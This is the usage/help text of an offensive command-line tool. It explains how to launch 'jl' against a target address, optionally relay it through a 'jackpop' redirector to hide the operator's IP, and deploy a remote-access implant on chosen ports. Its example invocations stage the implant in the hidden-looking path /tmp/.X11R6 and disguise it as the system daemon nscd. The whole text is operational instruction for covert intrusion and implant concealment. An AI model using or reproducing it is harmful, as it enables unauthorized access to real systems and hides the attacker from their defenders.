Usage: [RA=redirector-address RP=redirector-port] $PROG \\
       $SYNTAX
 *  RA and RP required if redirecting JL with jackpop
 *  jl is assumed to be in ./jl
 *  jl_port defaults to $DEFJLPORT (arg required if next arg is used)
 *  rat_port optional - default used if not given. BUT--if rat_port is
      given and nopen is not being used, the final argument must be
      nosy to send the older syntax up.

   e.g. $PROG alice LOCALIP 32177 /tmp/.X11R6 nscd
   e.g. $PROG alice LOCALIP 32177 /tmp/.X11R6 nscd 25 17348
   e.g. $PROG alice LOCALIP 32177 /tmp/.X11R6 nscd 113 33433 nosy

NOTE: You may now pre-set any/all of the following environment
      variables if using jackpop with $PROG (RA & RP required).

For jl.command
locally:            RA=redirector-address   RP=redirector-port

For jackpop on      LP=same-as-RP           SA=your-source-IP
redirector:         TA=target-address       TP=target-JL-port

   If you do not set LP and/or SA, they will be determined by the
   <jl_port> parameter and ifconfig. 

   If you do not set TA and/or TP, you will be prompted for them.
